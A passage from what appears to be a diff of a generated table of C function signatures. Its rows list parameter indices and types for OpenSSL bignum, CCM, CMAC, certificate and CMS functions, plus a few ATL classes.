BIGNUM *,BN_CTX *) | | BN_MONT_CTX_set | 1 | const BIGNUM * | +| (BN_MONT_CTX *,const BIGNUM *,BN_CTX *) | | BN_MONT_CTX_set | 2 | BN_CTX * | +| (BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t) | | ossl_bn_mont_ctx_set | 0 | BN_MONT_CTX * | +| (BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t) | | ossl_bn_mont_ctx_set | 1 | const BIGNUM * | +| (BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t) | | ossl_bn_mont_ctx_set | 2 | int | +| (BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t) | | ossl_bn_mont_ctx_set | 3 | const unsigned char * | +| (BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t) | | ossl_bn_mont_ctx_set | 4 | size_t | +| (BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t) | | ossl_bn_mont_ctx_set | 5 | uint32_t | +| (BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t) | | ossl_bn_mont_ctx_set | 6 | uint32_t | +| (BN_RECP_CTX *,const BIGNUM *,BN_CTX *) | | BN_RECP_CTX_set | 0 | BN_RECP_CTX * | +| (BN_RECP_CTX *,const BIGNUM *,BN_CTX *) | | BN_RECP_CTX_set | 1 | const BIGNUM * | +| (BN_RECP_CTX *,const BIGNUM *,BN_CTX *) | | BN_RECP_CTX_set | 2 | BN_CTX * | +| (BUF_MEM *,size_t) | | BUF_MEM_grow | 0 | BUF_MEM * | +| (BUF_MEM *,size_t) | | BUF_MEM_grow | 1 | size_t | +| (BUF_MEM *,size_t) | | BUF_MEM_grow_clean | 0 | BUF_MEM * | +| (BUF_MEM *,size_t) | | BUF_MEM_grow_clean | 1 | size_t | +| (CA_DB *,time_t *) | | do_updatedb | 0 | CA_DB * | +| (CA_DB *,time_t *) | | do_updatedb | 1 | time_t * | | (CAtlFile &) | CAtlFile | CAtlFile | 0 | CAtlFile & | +| (CCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ccm128_aad | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ccm128_aad | 1 | const unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ccm128_aad | 2 | size_t | +| (CCM128_CONTEXT *,const unsigned char *,size_t,size_t) | | CRYPTO_ccm128_setiv | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,const unsigned char *,size_t,size_t) | | CRYPTO_ccm128_setiv | 1 | const unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,size_t,size_t) | | CRYPTO_ccm128_setiv | 2 | size_t | +| (CCM128_CONTEXT *,const unsigned char *,size_t,size_t) | | CRYPTO_ccm128_setiv | 3 | size_t | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_decrypt | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_decrypt | 1 | const unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_decrypt | 2 | unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_decrypt | 3 | size_t | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_encrypt | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_encrypt | 1 | const unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_encrypt | 2 | unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_encrypt | 3 | size_t | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_decrypt_ccm64 | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_decrypt_ccm64 | 1 | const unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_decrypt_ccm64 | 2 | unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_decrypt_ccm64 | 3 | size_t | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_decrypt_ccm64 | 4 | ccm128_f | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_encrypt_ccm64 | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_encrypt_ccm64 | 1 | const unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_encrypt_ccm64 | 2 | unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_encrypt_ccm64 | 3 | size_t | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_encrypt_ccm64 | 4 | ccm128_f | +| (CCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ccm128_tag | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ccm128_tag | 1 | unsigned char * | +| (CCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ccm128_tag | 2 | size_t | +| (CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f) | | CRYPTO_ccm128_init | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f) | | CRYPTO_ccm128_init | 1 | unsigned int | +| (CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f) | | CRYPTO_ccm128_init | 2 | unsigned int | +| (CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f) | | CRYPTO_ccm128_init | 3 | void * | +| (CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f) | | CRYPTO_ccm128_init | 4 | block128_f | | (CComBSTR &&) | CComBSTR | CComBSTR | 0 | CComBSTR && | +| (CERT *) | | ssl_cert_dup | 0 | CERT * | +| (CERT *,..(*)(..),void *) | | ssl_cert_set_cert_cb | 0 | CERT * | +| (CERT *,..(*)(..),void *) | | ssl_cert_set_cert_cb | 1 | ..(*)(..) | +| (CERT *,..(*)(..),void *) | | ssl_cert_set_cert_cb | 2 | void * | +| (CERT *,X509 *) | | ssl_cert_select_current | 0 | CERT * | +| (CERT *,X509 *) | | ssl_cert_select_current | 1 | X509 * | +| (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 0 | CERT * | +| (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 1 | X509_STORE ** | +| (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 2 | int | +| (CERT *,const int *,size_t,int) | | tls1_set_sigalgs | 0 | CERT * | +| (CERT *,const int *,size_t,int) | | tls1_set_sigalgs | 1 | const int * | +| (CERT *,const int *,size_t,int) | | tls1_set_sigalgs | 2 | size_t | +| (CERT *,const int *,size_t,int) | | tls1_set_sigalgs | 3 | int | +| (CERT *,const uint16_t *,size_t,int) | | tls1_set_raw_sigalgs | 0 | CERT * | +| (CERT *,const uint16_t *,size_t,int) | | tls1_set_raw_sigalgs | 1 | const uint16_t * | +| (CERT *,const uint16_t *,size_t,int) | | tls1_set_raw_sigalgs | 2 | size_t | +| (CERT *,const uint16_t *,size_t,int) | | tls1_set_raw_sigalgs | 3 | int | +| (CERTIFICATEPOLICIES *) | | CERTIFICATEPOLICIES_free | 0 | CERTIFICATEPOLICIES * | +| (CERTIFICATEPOLICIES **,const unsigned char **,long) | | d2i_CERTIFICATEPOLICIES | 0 | CERTIFICATEPOLICIES ** | +| (CERTIFICATEPOLICIES **,const unsigned char **,long) | | d2i_CERTIFICATEPOLICIES | 1 | const unsigned char ** | +| (CERTIFICATEPOLICIES **,const unsigned char **,long) | | d2i_CERTIFICATEPOLICIES | 2 | long | +| (CMAC_CTX *) | | CMAC_CTX_get0_cipher_ctx | 0 | CMAC_CTX * | +| (CMAC_CTX *,const CMAC_CTX *) | | CMAC_CTX_copy | 0 | CMAC_CTX * | +| (CMAC_CTX *,const CMAC_CTX *) | | CMAC_CTX_copy | 1 | const CMAC_CTX * | +| (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 0 | CMAC_CTX * | +| (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 1 | const void * | +| (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 2 | size_t | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *) | | CMAC_Init | 0 | CMAC_CTX * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *) | | CMAC_Init | 1 | const void * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *) | | CMAC_Init | 2 | size_t | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *) | | CMAC_Init | 3 | const EVP_CIPHER * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *) | | CMAC_Init | 4 | ENGINE * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[]) | | ossl_cmac_init | 0 | CMAC_CTX * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[]) | | ossl_cmac_init | 1 | const void * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[]) | | ossl_cmac_init | 2 | size_t | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[]) | | ossl_cmac_init | 3 | const EVP_CIPHER * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[]) | | ossl_cmac_init | 4 | ENGINE * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[]) | | ossl_cmac_init | 5 | const OSSL_PARAM[] | +| (CMAC_CTX *,unsigned char *,size_t *) | | CMAC_Final | 0 | CMAC_CTX * | +| (CMAC_CTX *,unsigned char *,size_t *) | | CMAC_Final | 1 | unsigned char * | +| (CMAC_CTX *,unsigned char *,size_t *) | | CMAC_Final | 2 | size_t * | +| (CMS_ContentInfo *) | | CMS_ContentInfo_free | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *) | | CMS_get0_content | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *) | | ossl_cms_get0_auth_enveloped | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *) | | ossl_cms_get0_enveloped | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo **,const unsigned char **,long) | | d2i_CMS_ContentInfo | 0 | CMS_ContentInfo ** | +| (CMS_ContentInfo **,const unsigned char **,long) | | d2i_CMS_ContentInfo | 1 | const unsigned char ** | +| (CMS_ContentInfo **,const unsigned char **,long) | | d2i_CMS_ContentInfo | 2 | long | +| (CMS_ContentInfo *,BIO *) | | CMS_dataInit | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,BIO *) | | CMS_dataInit | 1 | BIO * | +| (CMS_ContentInfo *,BIO *) | | ossl_cms_EnvelopedData_final | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,BIO *) | | ossl_cms_EnvelopedData_final | 1 | BIO * | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_digest_verify | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_digest_verify | 1 | BIO * | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_digest_verify | 2 | BIO * | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_digest_verify | 3 | unsigned int | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_final | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_final | 1 | BIO * | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_final | 2 | BIO * | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_final | 3 | unsigned int | +| (CMS_ContentInfo *,BIO *,const unsigned char *,unsigned int) | | ossl_cms_SignedData_final | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,BIO *,const unsigned char *,unsigned int) | | ossl_cms_SignedData_final | 1 | BIO * | +| (CMS_ContentInfo *,BIO *,const unsigned char *,unsigned int) | | ossl_cms_SignedData_final | 2 | const unsigned char * | +| (CMS_ContentInfo *,BIO *,const unsigned char *,unsigned int) | | ossl_cms_SignedData_final | 3 | unsigned int | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *) | | CMS_decrypt_set1_pkey | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *) | | CMS_decrypt_set1_pkey | 1 | EVP_PKEY * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *) | | CMS_decrypt_set1_pkey | 2 | X509 * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int) | | CMS_decrypt | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int) | | CMS_decrypt | 1 | EVP_PKEY * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int) | | CMS_decrypt | 2 | X509 * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int) | | CMS_decrypt | 3 | BIO * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int) | | CMS_decrypt | 4 | BIO * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int) | | CMS_decrypt | 5 | unsigned int | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,X509 *) | | CMS_decrypt_set1_pkey_and_peer | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,X509 *) | | CMS_decrypt_set1_pkey_and_peer | 1 | EVP_PKEY * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,X509 *) | | CMS_decrypt_set1_pkey_and_peer | 2 | X509 * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,X509 *) | | CMS_decrypt_set1_pkey_and_peer | 3 | X509 * | +| (CMS_ContentInfo *,X509 *) | | CMS_add0_cert | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,X509 *) | | CMS_add0_cert | 1 | X509 * | +| (CMS_ContentInfo *,X509 *) | | CMS_add1_cert | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,X509 *) | | CMS_add1_cert | 1 | X509 * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int) | | CMS_add1_recipient | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int) | | CMS_add1_recipient | 1 | X509 * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int) | | CMS_add1_recipient | 2 | EVP_PKEY * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int) | | CMS_add1_recipient | 3 | X509 * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int) | | CMS_add1_recipient | 4 | unsigned int | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int) | | CMS_add1_signer | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int) | | CMS_add1_signer | 1 | X509 * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int) | | CMS_add1_signer | 2 | EVP_PKEY * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int) | | CMS_add1_signer | 3 | const EVP_MD * | +| (CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int) | | CMS_add1_signer | 4 | unsigned int | +| (CMS_ContentInfo *,X509 *,unsigned int) | | CMS_add1_recipient_cert | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,X509 *,unsigned int) | | CMS_add1_recipient_cert | 1 | X509 * | +| (CMS_ContentInfo *,X509 *,unsigned int) | | CMS_add1_recipient_cert | 2 | unsigned int | +| (CMS_ContentInfo *,X509_CRL *) | | CMS_add1_crl | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,X509_CRL *) | | CMS_add1_crl | 1 | X509_CRL * | +| (CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int) | | CMS_EncryptedData_decrypt | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int) | | CMS_EncryptedData_decrypt | 1 | const unsigned char * | +| (CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int) | | CMS_EncryptedData_decrypt | 2 | size_t | +| (CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int) | | CMS_EncryptedData_decrypt | 3 | BIO * | +| (CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int) | | CMS_EncryptedData_decrypt | 4 | BIO * | +| (CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int) | | CMS_EncryptedData_decrypt | 5 | unsigned int | +| (CMS_ContentInfo *,const unsigned char *,unsigned int,BIO *,unsigned int) | | CMS_final_digest | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,const unsigned char *,unsigned int,BIO *,unsigned int) | | CMS_final_digest | 1 | const unsigned char * | +| (CMS_ContentInfo *,const unsigned char *,unsigned int,BIO *,unsigned int) | | CMS_final_digest | 2 | unsigned int | +| (CMS_ContentInfo *,const unsigned char *,unsigned int,BIO *,unsigned int) | | CMS_final_digest | 3 | BIO * | +| (CMS_ContentInfo *,const unsigned char *,unsigned int,BIO *,unsigned int) | | CMS_final_digest | 4 | unsigned int | +| (CMS_ContentInfo *,stack_st_X509 **) | | ossl_cms_get1_certs_ex | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,stack_st_X509 **) | | ossl_cms_get1_certs_ex | 1 | stack_st_X509 ** | +| (CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int) | | CMS_verify | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int) | | CMS_verify | 1 | stack_st_X509 * | +| (CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int) | | CMS_verify | 2 | X509_STORE * | +| (CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int) | | CMS_verify | 3 | BIO * | +| (CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int) | | CMS_verify | 4 | BIO * | +| (CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int) | | CMS_verify | 5 | unsigned int | +| (CMS_ContentInfo *,stack_st_X509_CRL **) | | ossl_cms_get1_crls_ex | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,stack_st_X509_CRL **) | | ossl_cms_get1_crls_ex | 1 | stack_st_X509_CRL ** | +| (CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *) | | ossl_cms_EncryptedContent_init | 0 | CMS_EncryptedContentInfo * | +| (CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *) | | ossl_cms_EncryptedContent_init | 1 | const EVP_CIPHER * | +| (CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *) | | ossl_cms_EncryptedContent_init | 2 | const unsigned char * | +| (CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *) | | ossl_cms_EncryptedContent_init | 3 | size_t | +| (CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *) | | ossl_cms_EncryptedContent_init | 4 | const CMS_CTX * | +| (CMS_EnvelopedData *) | | OSSL_CRMF_ENCRYPTEDKEY_init_envdata | 0 | CMS_EnvelopedData * | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 0 | CMS_EnvelopedData * | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 1 | BIO * | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 2 | EVP_PKEY * | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 3 | X509 * | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 4 | ASN1_OCTET_STRING * | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 5 | unsigned int | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 6 | OSSL_LIB_CTX * | +| (CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_decrypt | 7 | const char * | +| (CMS_IssuerAndSerialNumber **,X509 *) | | ossl_cms_set1_ias | 0 | CMS_IssuerAndSerialNumber ** | +| (CMS_IssuerAndSerialNumber **,X509 *) | | ossl_cms_set1_ias | 1 | X509 * | +| (CMS_IssuerAndSerialNumber *,X509 *) | | ossl_cms_ias_cert_cmp | 0 | CMS_IssuerAndSerialNumber * | +| (CMS_IssuerAndSerialNumber *,X509 *) | | ossl_cms_ias_cert_cmp | 1 | X509 * | +| (CMS_ReceiptRequest *) | | CMS_ReceiptRequest_free | 0 | CMS_ReceiptRequest * | +| (CMS_ReceiptRequest **,const unsigned char **,long) | | d2i_CMS_ReceiptRequest | 0 | CMS_ReceiptRequest ** | +| (CMS_ReceiptRequest **,const unsigned char **,long) | | d2i_CMS_ReceiptRequest | 1 | const unsigned char ** | +| (CMS_ReceiptRequest **,const unsigned char **,long) | | d2i_CMS_ReceiptRequest | 2 | long | +| (CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **) | | CMS_ReceiptRequest_get0_values | 0 | CMS_ReceiptRequest * | +| (CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **) | | CMS_ReceiptRequest_get0_values | 1 | ASN1_STRING ** | +| (CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **) | | CMS_ReceiptRequest_get0_values | 2 | int * | +| (CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **) | | CMS_ReceiptRequest_get0_values | 3 | stack_st_GENERAL_NAMES ** | +| (CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **) | | CMS_ReceiptRequest_get0_values | 4 | stack_st_GENERAL_NAMES ** | +| (CMS_RecipientEncryptedKey *,X509 *) | | CMS_RecipientEncryptedKey_cert_cmp | 0 | CMS_RecipientEncryptedKey * | +| (CMS_RecipientEncryptedKey *,X509 *) | | CMS_RecipientEncryptedKey_cert_cmp | 1 | X509 * | +| (CMS_RecipientInfo *) | | CMS_RecipientInfo_type | 0 | CMS_RecipientInfo * | +| (CMS_RecipientInfo *,X509 *) | | CMS_RecipientInfo_kari_orig_id_cmp | 0 | CMS_RecipientInfo * | +| (CMS_RecipientInfo *,X509 *) | | CMS_RecipientInfo_kari_orig_id_cmp | 1 | X509 * | +| (CMS_RecipientInfo *,X509 *) | | CMS_RecipientInfo_ktri_cert_cmp | 0 | CMS_RecipientInfo * | +| (CMS_RecipientInfo *,X509 *) | | CMS_RecipientInfo_ktri_cert_cmp | 1 | X509 * | +| (CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *) | | ossl_cms_RecipientInfo_kari_init | 0 | CMS_RecipientInfo * | +| (CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *) | | ossl_cms_RecipientInfo_kari_init | 1 | X509 * | +| (CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *) | | ossl_cms_RecipientInfo_kari_init | 2 | EVP_PKEY * | +| (CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *) | | ossl_cms_RecipientInfo_kari_init | 3 | X509 * | +| (CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *) | | ossl_cms_RecipientInfo_kari_init | 4 | EVP_PKEY * | +| (CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *) | | ossl_cms_RecipientInfo_kari_init | 5 | unsigned int | +| (CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *) | | ossl_cms_RecipientInfo_kari_init | 6 | const CMS_CTX * | +| (CMS_RecipientInfo *,const unsigned char *,size_t) | | CMS_RecipientInfo_kekri_id_cmp | 0 | CMS_RecipientInfo * | +| (CMS_RecipientInfo *,const unsigned char *,size_t) | | CMS_RecipientInfo_kekri_id_cmp | 1 | const unsigned char * | +| (CMS_RecipientInfo *,const unsigned char *,size_t) | | CMS_RecipientInfo_kekri_id_cmp | 2 | size_t | +| (CMS_SignedData *) | | CMS_SignedData_free | 0 | CMS_SignedData * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 0 | CMS_SignedData * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 1 | BIO * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 2 | stack_st_X509 * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 3 | X509_STORE * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 4 | stack_st_X509 * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 5 | stack_st_X509_CRL * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 6 | unsigned int | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 7 | OSSL_LIB_CTX * | +| (CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_SignedData_verify | 8 | const char * | +| (CMS_SignerIdentifier *,ASN1_OCTET_STRING **,X509_NAME **,ASN1_INTEGER **) | | ossl_cms_SignerIdentifier_get0_signer_id | 0 | CMS_SignerIdentifier * | +| (CMS_SignerIdentifier *,ASN1_OCTET_STRING **,X509_NAME **,ASN1_INTEGER **) | | ossl_cms_SignerIdentifier_get0_signer_id | 1 | ASN1_OCTET_STRING ** | +| (CMS_SignerIdentifier *,ASN1_OCTET_STRING **,X509_NAME **,ASN1_INTEGER **) | | ossl_cms_SignerIdentifier_get0_signer_id | 2 